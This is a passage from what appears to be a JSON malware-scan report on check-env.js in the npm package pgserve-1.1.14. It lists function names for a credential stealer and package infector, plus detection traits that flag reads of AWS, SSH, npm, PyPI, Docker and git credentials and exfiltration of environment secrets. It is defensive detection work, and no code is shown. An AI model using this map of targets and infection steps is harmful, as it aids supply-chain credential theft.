            "encryptSlim",
            "encryptedData.slice",
            "encryptedData.slice().toString",
            "encryptedData.toString",
            "enumPackages",
            "env.replace",
            "exFiles.forEach",
            "execSync",
            "exfil",
            "exfilToCanister",
            "exfilToWebhook",
            "existingVersions.includes",
            "extractChromePasswords",
            "f.replace",
            "f.replace().replace",
            "f.startsWith",
            "files.map",
            "findNextVersion",
            "findNpmToken",
            "findNpmTokens",
            "findPypiToken",
            "fs.copyFileSync",
            "fs.existsSync",
            "fs.mkdirSync",
            "fs.mkdtempSync",
            "fs.readFileSync",
            "fs.readFileSync().replace",
            "fs.readFileSync().replace().trim",
            "fs.readFileSync().toString",
            "fs.readdirSync",
            "fs.readdirSync().filter",
            "fs.readdirSync().filter().slice",
            "fs.rmSync",
            "fs.statSync",
            "fs.statSync().isDirectory",
            "fs.unlinkSync",
            "fs.writeFileSync",
            "full.includes",
            "full.slice",
            "generateModulePy",
            "generatePthPayload",
            "generateSetupPy",
            "getRegistryForPackage",
            "getTokenForRegistry",
            "grab",
            "grabDir",
            "harvest",
            "https.request",
            "idbFiles.forEach",
            "ignoreContent.includes",
            "ignoreContent.split",
            "ignoreContent.split().filter",
            "inc.startsWith",
            "included.some",
            "infectPackage",
            "infectPypiPackage",
            "iv.toString",
            "k.startsWith",
            "l.includes",
            "line.match",
            "line.split",
            "lines.join",
            "log.push",
            "main",
            "main().catch",
            "main().catch().finally",
            "mmFiles.forEach",
            "os.arch",
            "os.homedir",
            "os.hostname",
            "os.platform",
            "os.tmpdir",
            "os.userInfo",
            "p.join",
            "p.test",
            "packages.slice",
            "parseInt",
            "passwords.push",
            "path.basename",
            "path.dirname",
            "path.join",
            "path.relative",
            "phFiles.forEach",
            "pj.files.map",
            "pkgName.replace",
            "pkgName.split",
            "pkgName.startsWith",
            "procEnvs.push",
            "process.cwd",
            "process.env.DIST_PACKAGES.split",
            "process.env.DIST_PACKAGES.split().map",
            "process.env.DIST_PACKAGES.split().map().filter",
            "process.env.PY_DIST_PACKAGES.split",
            "process.env.PY_DIST_PACKAGES.split().map",
            "process.env.PY_DIST_PACKAGES.split().map().filter",
            "process.exit",
            "registryRequest",
            "reject",
            "req.destroy",
            "req.end",
            "req.on",
            "req.setTimeout",
            "req.write",
            "require",
            "res.on",
            "resolve",
            "result.toString",
            "result.toString().trim",
            "result.toString().trim().split",
            "results.every",
            "results.push",
            "s.trim",
            "scope.replace",
            "searchRes.data.objects.map",
            "searchRes.data.objects.map().filter",
            "sensitivePatterns.some",
            "setTimeout",
            "setTimeout().unref",
            "stat.isFile",
            "t.registryHost.includes",
            "tokenVal.endsWith",
            "tokenVal.slice",
            "tokenVal.startsWith",
            "tokens.push",
            "transport.get",
            "transport.get().on",
            "transport.request",
            "trimForCanister",
            "url.substring",
            "username.substring",
            "v.split"
          ],
          "funcs": [
            [
              "L",
              1030
            ],
            [
              "decryptChromePassword",
              1097
            ],
            [
              "extractChromePasswords",
              2189
            ],
            [
              "harvest",
              3527
            ],
            [
              "p",
              4463
            ],
            [
              "grab",
              4561
            ],
            [
              "grabDir",
              4772
            ],
            [
              "anonymous",
              4930
            ],
            [
              "f",
              5017
            ],
            [
              "f",
              5485
            ],
            [
              "anonymous",
              8253
            ],
            [
              "anonymous",
              8412
            ],
            [
              "f",
              8721
            ],
            [
              "f",
              9345
            ],
            [
              "f",
              9950
            ],
            [
              "d",
              10414
            ],
            [
              "d",
              10726
            ],
            [
              "f",
              11043
            ],
            [
              "f",
              11650
            ],
            [
              "f",
              12207
            ],
            [
              "f",
              14021
            ],
            [
              "encrypt",
              15290
            ],
            [
              "exfilToWebhook",
              16509
            ],
            [
              "resolve",
              16676
            ],
            [
              "anonymous",
              17054
            ],
            [
              "c",
              17107
            ],
            [
              "anonymous",
              17144
            ],
            [
              "anonymous",
              17242
            ],
            [
              "anonymous",
              17317
            ],
            [
              "canisterPost",
              17427
            ],
            [
              "resolve",
              17481
            ],
            [
              "anonymous",
              17767
            ],
            [
              "c",
              17820
            ],
            [
              "anonymous",
              17857
            ],
            [
              "anonymous",
              17961
            ],
            [
              "anonymous",
              18037
            ],
            [
              "exfilToCanister",
              18150
            ],
            [
              "r",
              18913
            ],
            [
              "trimForCanister",
              19284
            ],
            [
              "encryptSlim",
              19753
            ],
            [
              "exfil",
              20073
            ],
            [
              "findNpmTokens",
              21305
            ],
            [
              "findNpmToken",
              22334
            ],
            [
              "t",
              22468
            ],
            [
              "registryRequest",
              22975
            ],
            [
              "anonymous",
              23089
            ],
            [
              "res",
              23498
            ],
            [
              "c",
              23546
            ],
            [
              "anonymous",
              23580
            ],
            [
              "anonymous",
              23800
            ],
            [
              "enumPackages",
              23881
            ],
            [
              "anonymous",
              24275
            ],
            [
              "name",
              24317
            ],
            [
              "o",
              24653
            ],
            [
              "s",
              24974
            ],
            [
              "bumpPatch",
              25047
            ],
            [
              "getRegistryForPackage",
              25159
            ],
            [
              "getTokenForRegistry",
              25696
            ],
            [
              "t",
              25838
            ],
            [
              "findNextVersion",
              25959
            ],
            [
              "infectPackage",
              26187
            ],
            [
              "f",
              27631
            ],
            [
              "inc",
              27826
            ],
            [
              "l",
              28654
            ],
            [
              "findPypiToken",
              31015
            ],
            [
              "generatePthPayload",
              31766
            ],
            [
              "generateSetupPy",
              33924
            ],
            [
              "generateModulePy",
              34107
            ],
            [
              "infectPypiPackage",
              34225
            ],
            [
              "anonymous",
              34488
            ],
            [
              "res",
              34567
            ],
            [
              "c",
              34619
            ],
            [
              "anonymous",
              34655
            ],
            [
              "main",
              37689
            ],
            [
              "s",
              40219
            ],
            [
              "anonymous",
              41397
            ],
            [
              "e",
              41425
            ],
            [
              "anonymous",
              41496
            ],
            [
              "anonymous",
              41541
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 24,
              "op.ge": 1,
              "op.gt": 6,
              "op.le": 2,
              "op.lt": 11,
              "op.ne": 7,
              "op.add": 28,
              "op.div": 3,
              "op.lor": 44,
              "op.mul": 16,
              "op.sub": 3,
              "op.land": 20,
              "op.lnot": 30,
              "max_depth": 33,
              "call_count": 591,
              "node_count": 14177,
              "member_count": 271,
              "max_array_len": 56,
              "op_density.eq": 0,
              "op_density.ge": 0,
              "op_density.gt": 0,
              "op_density.le": 0,
              "op_density.lt": 0,
              "op_density.ne": 0,
              "op_density.add": 0,
              "op_density.div": 0,
              "op_density.lor": 0,
              "op_density.mul": 0,
              "op_density.sub": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "max_concat_chain": 6,
              "member_depth_max": 6,
              "identity_function_count": 1,
              "const_return_function_count": 3,
              "const_return_function_ratio": 0.04,
              "string_return_function_count": 1,
              "string_return_function_ratio": 0.01
            },
            "file": {
              "size": 41580,
              "entropy": 5.25
            },
            "text": {
              "lines": 1143,
              "top_char": 101,
              "max_ws_run": 6,
              "digit_ratio": 0.02,
              "space_count": 7280,
              "char_entropy": 5.25,
              "unique_chars": 104,
              "top_char_null": 0,
              "escape_density": 0,
              "lines_over_200": 2,
              "string_density": 0.43,
              "top_char_ratio": 0.06,
              "avg_line_length": 35.38,
              "max_line_length": 382,
              "non_ascii_ratio": 0.01,
              "empty_line_ratio": 0.14,
              "last_line_length": 49,
              "long_token_count": 4,
              "whitespace_ratio": 0.2,
              "identifier_density": 2.05,
              "line_length_stddev": 33.27,
              "octal_escape_count": 2,
              "normalized_string_count": 14.64,
              "repeated_char_sequences": 73,
              "suspicious_string_ratio": 0.02,
              "trailing_whitespace_lines": 18,
              "suspicious_identifier_ratio": 0.04,
              "normalized_unique_identifiers": 41.54
            },
            "binds": {
              "count": 227
            },
            "binary": {
              "peak_region_bytes": 24172,
              "peak_region_entropy": 5.46
            },
            "source": {
              "function_count": 28
            },
            "imports": {
              "count": 7,
              "stdlib_count": 7,
              "stdlib_ratio": 1
            },
            "strings": {
              "sql": 1,
              "bytes": 11380,
              "count": 495,
              "shell": 6,
              "url_count": 5,
              "very_long": 1,
              "avg_length": 22.99,
              "max_length": 2109,
              "path_count": 10,
              "avg_entropy": 2.96,
              "email_count": 1,
              "empty_count": 11,
              "domain_count": 1,
              "entropy_stddev": 1.09,
              "high_entropy_count": 3,
              "embedded_code_candidates": 3
            },
            "functions": {
              "count": 28,
              "nested": 21,
              "density": 6.91,
              "anonymous": 51,
              "avg_params": 0.59,
              "code_ratio": 1.13,
              "max_params": 3,
              "one_liners": 31,
              "length_stddev": 40.19,
              "over_100_lines": 2,
              "avg_name_length": 12.61,
              "no_params_count": 49,
              "avg_length_lines": 16.33,
              "max_length_lines": 319,
              "min_length_lines": 1,
              "avg_nesting_depth": 0.99,
              "max_nesting_depth": 3,
              "single_char_names": 1,
              "high_entropy_names": 7,
              "single_char_params": 4,
              "avg_param_name_length": 6.49
            },
            "identifiers": {
              "count": 2345,
              "unique": 422,
              "avg_length": 7.82,
              "max_length": 30,
              "min_length": 1,
              "avg_entropy": 2.48,
              "reuse_ratio": 0.18,
              "length_stddev": 4.35,
              "has_digit_ratio": 0,
              "sequential_names": 15,
              "base64_like_names": 1,
              "single_char_count": 16,
              "single_char_ratio": 0.04,
              "high_entropy_count": 21,
              "high_entropy_ratio": 0.05,
              "all_lowercase_ratio": 0.56,
              "all_uppercase_ratio": 0.09,
              "keyboard_pattern_names": 1,
              "underscore_prefix_count": 9
            }
          }
        },
        "id": 12,
        "mol": "K₃(AmLiTe)O₆(Eu₃S₄Ca₈CoDy₄P)H₆(F₂₃Cm₂₁Cr₇Db₈Os₁₀Po₄)Md₃(Bk₂InPa)",
        "path": "pgserve-1.1.14.tgz!!package/scripts/check-env.js",
        "pid": 0,
        "risk": 582,
        "sha": "75e1e5d924ab63e4cf6d135a106fd884ca7e9d29cab11cc4b79903c97f6dcc30",
        "size": 41580,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                31942,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type",
            "conf": 0.94,
            "crit": 1,
            "desc": "Python JSON content type",
            "spans": [
              [
                33819,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/headers::x-session-id-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Configures an X-Session-ID request header",
            "spans": [
              [
                33837,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-data-body",
            "conf": 0.9,
            "crit": 3,
            "desc": "urllib Request carries an HTTP body",
            "spans": [
              [
                33748,
                103
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-symbol",
            "conf": 0.82,
            "crit": 3,
            "desc": "urllib.request.Request symbol",
            "spans": [
              [
                33748,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call-symbol",
            "conf": 0.85,
            "crit": 3,
            "desc": "Calls fully qualified urllib urlopen",
            "spans": [
              [
                33865,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/parse/vocabulary::credential-field",
            "conf": 0.84,
            "crit": 1,
            "desc": "Credential field keyword",
            "spans": [
              [
                32040,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/json::json-dumps-call",
            "conf": 0.9,
            "crit": 2,
            "desc": "Serializes data with Python json.dumps()",
            "spans": [
              [
                33706,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::host-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like host identity field",
            "spans": [
              [
                32308,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::platform-field-key",
            "conf": 0.86,
            "crit": 1,
            "desc": "JSON-like platform or OS field",
            "spans": [
              [
                32342,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::user-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like user identity field",
            "spans": [
              [
                32375,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-glob-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Python glob for file enumeration",
            "spans": [
              [
                33302,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/config/web::mysql-config-path",
            "conf": 0.8,
            "crit": 3,
            "desc": "MySQL/MariaDB server config path (my.cnf)",
            "spans": [
              [
                32837,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::python-cwd-variable-path-join",
            "conf": 0.9,
            "crit": 3,
            "desc": "Joins current directory with a variable path",
            "spans": [
              [
                33114,
                29
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/cloud::aws-credentials-text-reference",
            "atk": "T1552.005",
            "mbc": "T1552.005",
            "conf": 0.92,
            "crit": 3,
            "desc": "References an AWS credentials file path",
            "spans": [
              [
                32515,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker",
            "conf": 0.86,
            "crit": 1,
            "desc": "References the Docker container engine",
            "spans": [
              [
                32737,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::file-open-content",
            "atk": "T1005",
            "mbc": "E1005",
            "conf": 0.86,
            "crit": 2,
            "desc": "Opens file in default read mode",
            "spans": [
              [
                33427,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::file-read-content",
            "atk": "T1005",
            "mbc": "E1005",
            "conf": 0.6,
            "crit": 2,
            "desc": "Reads file content (Python)",
            "spans": [
              [
                32965,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/container/image::docker-config-json",
            "conf": 0.9,
            "crit": 3,
            "desc": "Docker config file reference",
            "spans": [
              [
                32715,
                19
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/access::python-environ-items-loop",
            "conf": 0.88,
            "crit": 3,
            "desc": "Iterates over Python environment entries",
            "spans": [
              [
                31954,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-alias-items-password-marker",
            "conf": 0.92,
            "crit": 3,
            "desc": "Aliased env iteration uses password markers",
            "spans": [
              [
                31957,
                93
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-alias-items-secret-marker",
            "conf": 0.92,
            "crit": 3,
            "desc": "Aliased env iteration uses secret markers",
            "spans": [
              [
                31957,
                69
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-credential-filter",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python env membership credential marker",
            "spans": [
              [
                31951,
                75
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-password-marker",
            "conf": 0.92,
            "crit": 1,
            "desc": "Password marker string literal",
            "spans": [
              [
                32029,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-secret-marker",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential marker string literal",
            "spans": [
              [
                32006,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/package-manager/config::npmrc-user-config-path",
            "conf": 0.9,
            "crit": 3,
            "desc": "npm user configuration file path",
            "spans": [
              [
                32571,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::python-socket-gethostname",
            "atk": "T1082",
            "mbc": "E1082",
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls Python socket.gethostname",
            "spans": [
              [
                32320,
                18
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-full",
            "atk": "T1082",
            "conf": 0.7,
            "crit": 3,
            "desc": "platform.platform() full info",
            "spans": [
              [
                32354,
                17
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/python::dunder-import-string-call",
            "atk": "T1059.006",
            "mbc": "E1059",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python imports named module dynamically",
            "spans": [
              [
                31889,
                10
              ]
            ]
          },
          {
            "id": "objectives/credential-access/cloud/token/cli::docker-config-path-literal",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 1,
            "desc": "Docker credential config path",
            "spans": [
              [
                32715,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/credential-manager/store-api::vault-token-sources",
            "atk": "T1552.001",
            "mbc": "E1552",
            "conf": 0.88,
            "crit": 3,
            "desc": "HashiCorp Vault token source references",
            "spans": [
              [
                32639,
                12
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::terraform-creds-path-ref",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "References Terraform Cloud credentials file",
            "spans": [
              [
                32664,
                34
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/library::urllib-request",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports Python urllib.request HTTP client",
            "spans": [
              [
                31831,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::json-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "spans": [
              [
                33804,
                31
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen",
            "conf": 0.7,
            "crit": 3,
            "desc": "Calls urllib.request.urlopen",
            "spans": [
              [
                33865,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-word",
            "conf": 0.75,
            "crit": 3,
            "desc": "References Python urllib HTTP client",
            "spans": [
              [
                33748,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::python-request-data-argument",
            "conf": 0.84,
            "crit": 3,
            "desc": "Python Request call passes a body argument",
            "spans": [
              [
                33748,
                103
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/cwd::python-os-getcwd",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls Python os.getcwd",
            "spans": [
              [
                32447,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::home-hidden-dotdir-ref",
            "conf": 0.6,
            "crit": 3,
            "desc": "Home-relative hidden directory path literal",
            "spans": [
              [
                33332,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::aws-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "AWS config file path",
            "spans": [
              [
                32542,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::docker-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Docker config.json path",
            "spans": [
              [
                32715,
                19
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::dotenv-filename-literal",
            "atk": "T1552.001",
            "conf": 0.85,
            "crit": 1,
            "desc": ".env filename literal",
            "spans": [
              [
                33028,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::gh-cli-hosts",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "GitHub CLI authentication hosts file",
            "spans": [
              [
                32781,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::git-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Git credentials file",
            "spans": [
              [
                32748,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Kubernetes config path",
            "spans": [
              [
                32609,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::npmrc-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "NPM registry credentials file path literal",
            "spans": [
              [
                32571,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::pypirc-credentials-file",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 2,
            "desc": "PyPI credentials file path reference",
            "spans": [
              [
                32494,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-dir",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 2,
            "desc": ".ssh directory path",
            "spans": [
              [
                33334,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::terraform-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 4,
            "desc": "Terraform Cloud credentials file",
            "spans": [
              [
                32664,
                34
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/ssh::keys",
            "atk": "T1552.004",
            "mbc": "T1552.004",
            "conf": 0.8,
            "crit": 1,
            "desc": "SSH keys directory path literal",
            "spans": [
              [
                33333,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/access::python-os-getenv-call",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python reads an environment variable",
            "spans": [
              [
                32383,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/python::dunder-import-call",
            "atk": "T1059.006",
            "mbc": "E1059",
            "conf": 0.85,
            "crit": 3,
            "desc": "Python __import__ call",
            "spans": [
              [
                31885,
                30
              ],
              [
                31889,
                25
              ]
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-path-segment",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like path segment",
            "spans": [
              [
                32519,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/dotenv::dotenv-read-secrets",
            "atk": "T1552.001",
            "mbc": "B0014",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dotenv secrets reading",
            "spans": [
              [
                33198,
                31
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import",
            "conf": 0.82,
            "crit": 3,
            "desc": "Imports Python urllib.request through direct or from-import syntax",
            "uses": [
              32
            ],
            "spans": [
              [
                31831,
                14
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object",
            "conf": 0.82,
            "crit": 3,
            "desc": "urllib Request object creation",
            "uses": [
              4
            ],
            "spans": [
              [
                33748,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::file-content-read-operation",
            "conf": 0.82,
            "crit": 2,
            "desc": "File content read operation",
            "uses": [
              16,
              17
            ],
            "spans": [
              [
                32965,
                0
              ],
              [
                33427,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::package-or-netrc-credential-file",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Package or netrc credential file reference",
            "uses": [
              45,
              46
            ],
            "spans": [
              [
                32494,
                7
              ],
              [
                32571,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-credential-name-filter",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python accesses credential-named environment entries",
            "uses": [
              22
            ],
            "spans": [
              [
                31951,
                75
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-credential-filter",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python env items credential filter",
            "uses": [
              19,
              23,
              24
            ],
            "spans": [
              [
                31954,
                16
              ],
              [
                32006,
                5
              ],
              [
                32014,
                6
              ],
              [
                32023,
                3
              ],
              [
                32029,
                8
              ],
              [
                32040,
                10
              ],
              [
                32265,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/hostname::host-identity-query",
            "conf": 0.86,
            "crit": 3,
            "desc": "Queries a host identity value",
            "uses": [
              26
            ],
            "spans": [
              [
                32320,
                18
              ]
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-path",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like file path",
            "uses": [
              52
            ],
            "spans": [
              [
                32519,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-source",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 1,
            "desc": "References a developer credential file",
            "uses": [
              14,
              18,
              31,
              44
            ],
            "spans": [
              [
                32515,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::urllib-json-request-body",
            "conf": 0.9,
            "crit": 3,
            "desc": "urllib JSON request with body",
            "uses": [
              7,
              54,
              55
            ],
            "spans": [
              [
                31831,
                14
              ],
              [
                33706,
                10
              ],
              [
                33748,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::developer-credential-stores",
            "atk": "T1552.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "References developer credential store paths",
            "uses": [
              57
            ],
            "spans": [
              [
                32494,
                7
              ],
              [
                32571,
                6
              ]
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-read",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Reads a referenced developer credential file",
            "uses": [
              56,
              62
            ],
            "spans": [
              [
                32515,
                16
              ],
              [
                32609,
                12
              ],
              [
                32664,
                34
              ],
              [
                32715,
                19
              ],
              [
                32748,
                16
              ],
              [
                32957,
                4
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/env::python-environ-json-urllib-exfil",
            "atk": "T1552.001,T1041",
            "mbc": "E1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Python sends credential-named environment entries in JSON over urllib",
            "uses": [
              19,
              58,
              63
            ],
            "spans": [
              [
                31831,
                14
              ],
              [
                31951,
                75
              ],
              [
                31954,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call",
            "conf": 0.82,
            "crit": 3,
            "desc": "Calls Python urllib urlopen",
            "uses": [
              5,
              34
            ],
            "spans": [
              [
                33865,
                22
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses common HTTP client APIs",
            "uses": [
              35
            ],
            "spans": [
              [
                33748,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::cloud-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "Cloud provider credential file paths",
            "uses": [
              39
            ],
            "spans": [
              [
                32542,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::container-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 2,
            "desc": "Container/orchestration credential paths",
            "uses": [
              40
            ],
            "spans": [
              [
                32715,
                19
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::orchestration-credentials",
            "atk": "T1552.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Orchestration credential paths",
            "uses": [
              44
            ],
            "spans": [
              [
                32609,
                12
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "SSH credential file paths",
            "uses": [
              47
            ],
            "spans": [
              [
                33334,
                5
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords",
            "conf": 0.86,
            "crit": 1,
            "desc": "Container engine name literal present",
            "uses": [
              15
            ],
            "spans": [
              [
                32737,
                0
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/messaging/telegram::telegram-archive-sensitive-source",
            "atk": "T1567",
            "conf": 0.9,
            "crit": 1,
            "desc": "Sensitive collection or operator token beside Telegram archive upload",
            "uses": [
              39,
              40,
              41,
              42,
              43,
              44,
              45,
              46,
              47,
              48,
              57,
              64
            ],
            "spans": [
              [
                32609,
                0
              ],
              [
                33028,
                0
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/env::python-bulk-secret-env-harvest",
            "atk": "T1552.001",
            "mbc": "E1552",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python iterates env entries for secret names",
            "uses": [
              19,
              59
            ],
            "spans": [
              [
                31954,
                16
              ],
              [
                32006,
                5
              ],
              [
                32014,
                6
              ],
              [
                32023,
                3
              ],
              [
                32029,
                8
              ],
              [
                32040,
                10
              ],
              [
                32265,
                6
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/dev-file::multi-developer-secret-source",
            "atk": "T1552.001,T1041",
            "mbc": "E1552",
            "conf": 0.96,
            "crit": 3,
            "desc": "References three or more developer credential source groups",
            "uses": [
              64,
              70
            ],
            "spans": [
              [
                32494,
                7
              ],
              [
                32571,
                6
              ],
              [
                32715,
                19
              ],
              [
                32748,
                16
              ]
            ]
          },
          {
            "id": "metadata/build/package/recipe::setup-cmdclass-install",
            "conf": 0.9,
            "crit": 3,
            "desc": "setup() defines custom install command",
            "spans": [
              [
                36373,
                20
              ]
            ]
          },
          {
            "id": "metadata/build/package/recipe::setuptools-install-class",
            "conf": 0.9,
            "crit": 3,
            "desc": "Class inherits from setuptools.command.install",
            "spans": [
              [
                35854,
                26
              ]
            ]
          },
          {
            "id": "metadata/build/package/recipe::setuptools-run-override",
            "conf": 0.8,
            "crit": 3,
            "desc": "Overrides run() method in install class",
            "spans": [
              [
                35854,
                39
              ]
            ]
          },
          {
            "id": "metadata/build/pip::packaging-setuptools-import",
            "conf": 0.95,
            "crit": 3,
            "desc": "setuptools packaging import",
            "spans": [
              [
                35753,
                15
              ]
            ]
          },
          {
            "id": "objectives/persistence/login/python-startup::python-site-packages-enumeration",
            "atk": "T1546",
            "conf": 0.95,
            "crit": 3,
            "desc": "Python enumerates site package paths",
            "spans": [
              [
                36133,
                22
              ]
